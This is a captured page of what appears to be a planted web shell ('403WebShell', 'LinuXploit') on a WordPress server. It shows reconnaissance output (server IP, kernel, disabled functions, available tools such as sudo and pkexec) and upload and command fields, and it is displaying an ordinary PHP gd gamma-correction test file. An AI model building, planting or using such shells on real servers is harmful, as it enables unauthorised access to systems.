WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/ext/gd/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/ext/gd/tests/imagegammacorrect_variation2.phpt
--TEST--
Apply imagegammacorrect() to a step wedge
--SKIPIF--
<?php
if (!extension_loaded('gd')) die('skip gd extension not available');
?>
--FILE--
<?php
require __DIR__ . DIRECTORY_SEPARATOR . 'func.inc';

test_gamma_both(1, 2);
test_gamma_both(1, 1);
test_gamma_both(2, 1);

function test_gamma_both($in, $out)
{
    test_gamma($in, $out, 'imagecreate');
    test_gamma($in, $out, 'imagecreatetruecolor');
}

function test_gamma($in, $out, $constructor)
{
    $im = $constructor(640, 480);
    for ($j = 0; $j < 4; $j++) {
        for ($i = 0; $i < 32; $i++) {
            draw_cell($im, $i, $j);
        }
    }

    imagegammacorrect($im, $in, $out);

    $filename = __DIR__ . DIRECTORY_SEPARATOR
        . "imagegammacorrect_variation2_{$in}_{$out}.png";
    $kind = $constructor === 'imagecreate' ? 'palette' : 'truecolor';
    echo "$kind gamma ($in, $out): ";
    test_image_equals_file($filename, $im);
}

function draw_cell($im, $x, $y)
{
    $x1 = 20 * $x;
    $y1 = 120 * $y;
    $x2 = $x1 + 19;
    $y2 = $y1 + 119;
    $color = cell_color($im, $x, $y);
    imagefilledrectangle($im, $x1,$y1, $x2,$y2, $color);
}

function cell_color($im, $x, $y)
{
    $channel = 8 * $x + 4;
    switch ($y) {
        case 0:
            return imagecolorallocate($im, $channel, $channel, $channel);
        case 1:
            return imagecolorallocate($im, $channel, 0, 0);
        case 2:
            return imagecolorallocate($im, 0, $channel, 0);
        case 3:
            return imagecolorallocate($im, 0, 0, $channel);
    }
}
?>
===DONE===
--EXPECT--
palette gamma (1, 2): The images are equal.
truecolor gamma (1, 2): The images are equal.
palette gamma (1, 1): The images are equal.
truecolor gamma (1, 1): The images are equal.
palette gamma (2, 1): The images are equal.
truecolor gamma (2, 1): The images are equal.
===DONE===

Youez - 2016 - github.com/yon3zu
LinuXploit